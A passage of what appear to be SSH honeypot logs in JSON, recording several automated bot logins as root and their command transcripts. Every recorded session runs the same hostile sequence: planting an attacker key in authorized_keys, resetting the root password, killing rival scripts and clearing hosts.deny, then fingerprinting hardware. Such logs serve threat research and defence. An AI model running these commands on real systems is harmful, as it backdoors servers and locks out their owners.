$7}'"},{"seq":10,"at":"2026-08-27T12:58:28.539110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:58:28.998568+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:58:30.069107+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:58:30.526677+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:58:31.253745+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:58:31.708696+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:58:31.997214+00:00","kind":"output","latency_ms":null,"data":" 12:58:31 up 7 days, 9:48, 0 user, load average: 0.12, 0.13, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:58:32.452798+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:58:32.763957+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:58:33.219214+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:58:33.814139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:58:34.267178+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:58:34.581546+00:00","kind":"output","latency_ms":null,"data":"top - 12:58:34 up 7 days, 9:48, 0 user, load average: 0.12, 0.13, 0.12\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:58:35.040397+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:58:35.895954+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:58:36.362884+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:58:36.644505+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:58:37.103788+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:58:37.430204+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:58:37.899082+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:58:38.995155+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:58:39.451049+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:58:40.372655+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"IdcOffer.com","method":"password","accepted":true,"tier":"other"}]} {"id":"b81903e5-027f-4f03-b5d6-2907a4608d6e","name":"brazen-prairie-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":34350,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:58:17.091596+00:00","ended_at":"2026-08-27T12:58:18.000857+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:57:58.301697+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:57:58.596274+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:58:01.678710+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:58:02.466887+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:58:02.762453+00:00","kind":"input","latency_ms":null,"data":"echo \"root:q9VcJAHDFJy3\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:58:03.057422+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:58:03.352081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:58:03.710719+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:58:04.007236+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:58:05.418493+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:58:05.713561+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:58:06.960750+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:58:07.261086+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:58:07.815337+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:58:08.113954+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:58:08.968948+00:00","kind":"output","latency_ms":null,"data":" 12:58:08 up 7 days, 9:48, 0 user, load average: 0.35, 0.29, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:58:09.264913+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:58:10.112108+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:58:10.407343+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:58:11.210507+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:58:11.509597+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:58:11.919918+00:00","kind":"output","latency_ms":null,"data":"top - 12:58:11 up 7 days, 9:48, 0 user, load average: 0.35, 0.29, 0.3\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:58:12.216114+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:58:13.046443+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:58:13.343721+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:58:13.856225+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:58:14.151376+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:58:14.502188+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:58:14.798901+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:58:16.795706+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:58:17.092544+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:58:17.916172+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ASDzxc123","method":"password","accepted":true,"tier":"other"}]} {"id":"e60ce5f5-6dbd-4313-b46a-5991c59310f8","name":"sandy-smooth-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":42206,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":742,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:56:32.739534+00:00","ended_at":"2026-08-27T12:56:33.501179+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:56:11.746286+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:56:12.486418+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:56:19.848558+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:56:19.849294+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:56:20.589126+00:00","kind":"input","latency_ms":null,"data":"echo \"root:cVVopYfBJWjV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:56:21.333807+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:56:22.074995+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:56:22.075833+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:56:22.820267+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:56:23.400666+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:56:24.147800+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:56:24.706463+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:56:25.449283+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:56:25.449963+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:56:26.191553+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:56:26.192036+00:00","kind":"output","latency_ms":null,"data":" 12:56:26 up 7 days, 9:46, 0 user, load average: 0.1, 0.12, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:56:26.931254+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:56:26.932040+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:56:27.673431+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:56:27.674034+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:56:28.426354+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:56:28.428072+00:00","kind":"output","latency_ms":null,"data":"top - 12:56:28 up 7 days, 9:46, 0 user, load average: 0.1, 0.12, 0.09\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:56:29.166770+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:56:29.167315+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:56:29.908259+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:56:29.908758+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:56:30.653414+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:56:30.654177+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:56:31.402914+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:56:31.999547+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:56:32.740338+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:56:33.262472+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456780","method":"password","accepted":true,"tier":"other"}]} {"id":"c6813f20-da54-43e4-8628-5456f230fb6c","name":"meadow-thrifty-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":44592,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:56:13.484738+00:00","ended_at":"2026-08-27T12:56:14.446308+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:55:54.114162+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:55:54.409317+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:55:58.549231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:55:59.231110+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:55:59.525042+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MkoffwArKiM9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:55:59.817745+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:56:00.113034+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:56:00.868736+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:56:01.162634+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:56:02.798735+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:56:03.095568+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:56:04.339370+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:56:04.635591+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:56:04.936070+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:56:05.231602+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:56:05.853447+00:00","kind":"output","latency_ms":null,"data":" 12:56:05 up 7 days, 9:46, 0 user, load average: 0.05, 0.06, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:56:06.149619+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:56:06.801178+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:56:07.096402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:56:07.654137+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:56:07.947709+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:56:08.636144+00:00","kind":"output","latency_ms":null,"data":"top - 12:56:08 up 7 days, 9:46, 0 user, load average: 0.05, 0.06, 0.05\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:56:08.930481+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:56:09.664907+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:56:09.960036+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:56:10.587008+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:56:10.881556+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:56:11.619160+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:56:11.913824+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:56:13.189846+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:56:13.485720+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:56:14.358429+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Sz123456@","method":"password","accepted":true,"tier":"other"}]} {"id":"dbd209f5-dc7b-4904-92d7-6615076b6410","name":"alpine-patient-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":53752,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:56:01.232088+00:00","ended_at":"2026-08-27T12:56:03.197873+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:55:42.302904+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:55:42.630131+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:55:46.150078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:55:46.612410+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:55:46.937833+00:00","kind":"input","latency_ms":null,"data":"echo \"root:q9yuE7KU4FUe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:55:47.267670+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:55:47.594721+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:55:48.074033+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:55:48.400990+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:55:49.588363+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:55:49.919283+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:55:51.229147+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:55:51.559093+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:55:51.900358+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:55:52.227625+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:55:53.059433+00:00","kind":"output","latency_ms":null,"data":" 12:55:53 up 7 days, 9:46, 0 user, load average: 0.03, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:55:53.386489+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:55:54.107900+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:55:54.434871+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:55:55.211350+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:55:55.540952+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:55:56.091410+00:00","kind":"output","latency_ms":null,"data":"top - 12:55:56 up 7 days, 9:46, 0 user, load average: 0.03, 0.04, 0.03\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 